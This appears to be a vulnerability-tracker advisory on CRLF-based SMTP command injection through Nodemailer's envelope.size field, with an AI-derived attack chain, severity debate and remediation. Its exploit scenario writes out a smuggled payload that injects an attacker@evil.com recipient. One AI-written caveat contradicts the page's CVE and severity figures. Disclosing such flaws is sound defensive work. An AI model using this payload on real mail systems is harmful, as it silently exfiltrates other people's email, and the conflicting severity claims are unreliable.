Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify app exposing envelope.size input
-
DeliverySubmit size value with embedded CRLF payload
-
ExploitCRLF terminates MAIL FROM command
-
ExecutionInjected RCPT TO adds attacker recipient
-
ImpactOutgoing email silently copied/redirected to attacker
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization CRLF sequence sanitization
|
| Exploitation Conditions | Exploitation requires the target application to (1) pass a custom envelope object to sendMail() rather than relying on the default auto-constructed envelope, AND (2) populate that envelope's size property from attacker-controllable input. Nodemailer never sets size in its default envelope, so out-of-the-box usage is not exploitable - this is the primary limiting factor. The injected value must contain CRLF (\r\n), and the target SMTP server must advertise the SIZE ESMTP extension (the code only appends SIZE= when _supportedExtensions includes 'SIZE'). No authentication to Nodemailer itself is needed and no user interaction is required, but the non-default envelope-exposure configuration sharply narrows the affected population. |
| Impact | The published CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) yields a 9.3 critical score, but that figure assumes the vulnerable code path is reachable, which it is not by default: the description and advisory both state the application must explicitly pass a custom envelope with a size property sourced from attacker-controlled input. That precondition is a meaningful limiter and, in my assessment, warrants higher attack complexity than the vendor vector reflects. No EPSS score, KEV listing, or SSVC decision data was provided, and the flaw is not in CISA KEV, so this reads as a real-but-conditional issue rather than a mass-exploited one - priority is high for the subset of apps that expose envelope configuration and low for the majority using defaults. Given Nodemailer's enormous deployment footprint, any team that lets users influence envelope fields should treat patching as urgent, even though the raw 9.3 overstates risk for default deployments. The realistic impact - silent recipient injection and email content exfiltration/redirection - is serious where the condition holds. |
| Exploit ScenarioDerived | An application lets users configure mail-sending parameters (e.g., a form or API that maps to the envelope) and forwards a size field into Nodemailer's custom envelope. The attacker submits a size value like '1000\r\nRCPT TO:<attacker@evil.com>', which terminates MAIL FROM and injects an extra recipient so a copy of every affected outgoing email is silently delivered to the attacker. A functional PoC (a local SMTP listener that logs the injected commands) is published in the GHSA advisory; exploitation is network-facing and low-effort once the app exposes envelope.size. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAI
SMTP command injection in Nodemailer before 8.0.4 lets attackers smuggle arbitrary SMTP verbs (notably RCPT TO) into outgoing mail by planting CRLF characters in the envelope.size value, silently adding attacker-controlled recipients or otherwise manipulating the MAIL FROM dialogue. Only applications that pass a custom envelope object and expose its size property to untrusted input are affected, since Nodemailer's default auto-constructed envelope never sets size. A working proof-of-concept is published in the GHSA advisory; there is no public exploit identified beyond that PoC and no evidence of active exploitation.
RemediationAI
Vendor-released patch: 8.0.4 - upgrade the nodemailer dependency to 8.0.4 or later (fix commit https://github.com/nodemailer/nodemailer/commit/2d7b9710e63555a1eb13d721296c51186d4b5651, advisory https://github.com/nodemailer/nodemailer/security/advisories/GHSA-c7w3-x93f-qmm8). If you cannot upgrade immediately, the effective compensating control is to stop passing user-controlled data into the envelope: remove the custom envelope object from sendMail() and let Nodemailer auto-construct it from from/to, or if a custom envelope is required, strip or reject any size value and validate all envelope fields against CRLF (reject values matching [\r\n]) before calling sendMail(). Coercing envelope.size to an integer (Number/parseInt) also neutralizes the payload since CRLF cannot survive numeric conversion; the trade-off is that non-numeric size hints are dropped, which is harmless because SIZE expects an integer byte count. These controls have minimal functional side effects because size is rarely set explicitly.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Nodemailer is the dominant SMTP client library for Node.js. The flaw is a classic CRLF/command-injection (CWE-93, Improper Neutralization of CRLF Sequences) in the ESMTP transaction layer. In lib/smtp-connection/index.js (lines 1161-1162) the size value is concatenated as 'SIZE=' + this._envelope.size onto the MAIL FROM command with no CRLF filtering, while sibling parameters are sanitized - addresses are validated against [\r\n<>] and DSN fields are encoded via encodeXText(). The tainted value arrives because MimeNode.setEnvelope() (lib/mime-node/index.js, lines 854-858) copies every non-standard envelope key (anything outside to/cc/bcc/from) verbatim. Because _sendCommand() writes the string followed by \r\n directly to the raw TCP socket, an embedded \r\n terminates MAIL FROM and begins a new, attacker-chosen SMTP command. CPE cpe:2.3:a:nodemailer:nodemailer:*:*:*:* confirms the affected component is the nodemailer npm package itself.
Know when Nodemailer gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
Sources disagree (Medium–Critical)CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Reachable only when the app exposes envelope.size (non-default target condition) so AC:H; no auth at Nodemailer level (PR:N); injection manipulates the downstream SMTP dialogue (S:C) redirecting mail (I:H) and enabling content exfiltration (C:L).
vuln.today treats the vendor’s rating as authoritative. A higher third-party CVSS (e.g. CISA-ADP) is shown for transparency but does not drive the headline severity.
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
2DescriptionCVE.org
Nodemailer before 8.0.4 is vulnerable to SMTP command injection through the unsanitized envelope.size parameter. When an application passes a custom envelope object with a size property containing CRLF characters to sendMail(), the value is concatenated into the SMTP MAIL FROM command (as SIZE=...) without sanitization, allowing injection of arbitrary SMTP commands such as RCPT TO to silently add attacker-controlled recipients. Exploitation requires the application to expose the envelope size to attacker-controlled input, as Nodemailer does not include size in the default auto-constructed envelope.
Technical POC Analysis
Caveat: the supplied GHSA evidence classifies this as Low severity and states "No known CVE"; the CVE-2026-82854/CVSS 9.3 label in the prompt is not present in the supplied advisory.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
More in Nodemailer
View allThis affects the package nodemailer before 6.4.16. Rated critical severity (CVSS 9.8), this vulnerability is remotely ex
The package nodemailer before 6.6.1 are vulnerable to HTTP Header Injection if unsanitized user input that may contain n
Quadratic time complexity in Nodemailer's addressparser component, versions 9.1.0 through 10.0.4, allows remote unauthen
Unbounded recursion in Nodemailer's address parser (npm package versions 3.0.0 through 7.0.10) allows a single crafted e
Sandbox bypass in nodemailer <= 9.0.0 exposes arbitrary file read and full-response SSRF to any authenticated applicatio
Denial of service in Nodemailer versions before 10.0.6 lets remote, unauthenticated attackers stall the Node.js event lo
TLS certificate verification is disabled by hardcoded `rejectUnauthorized: false` in Nodemailer's internal HTTPS fetch c
Stack exhaustion in Nodemailer before 10.0.2 allows unauthenticated remote attackers to crash an affected Node.js proces
SMTP command injection in Nodemailer (npm) versions up to and including 8.0.4 allows an attacker who can influence the t
Remote, unauthenticated attackers can exploit mis-parsing of recipient addresses in Nodemailer versions 9.1.0 through 10
TLS certificate validation bypass in Nodemailer 5.0.0 through 10.0.1 allows an attacker who can prime a process-global D
CRLF injection in Nodemailer's List-* header construction allows any application-level user with control over list comme
EUVD-2026-68442
GHSA-2x76-7hhq-pgvw
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB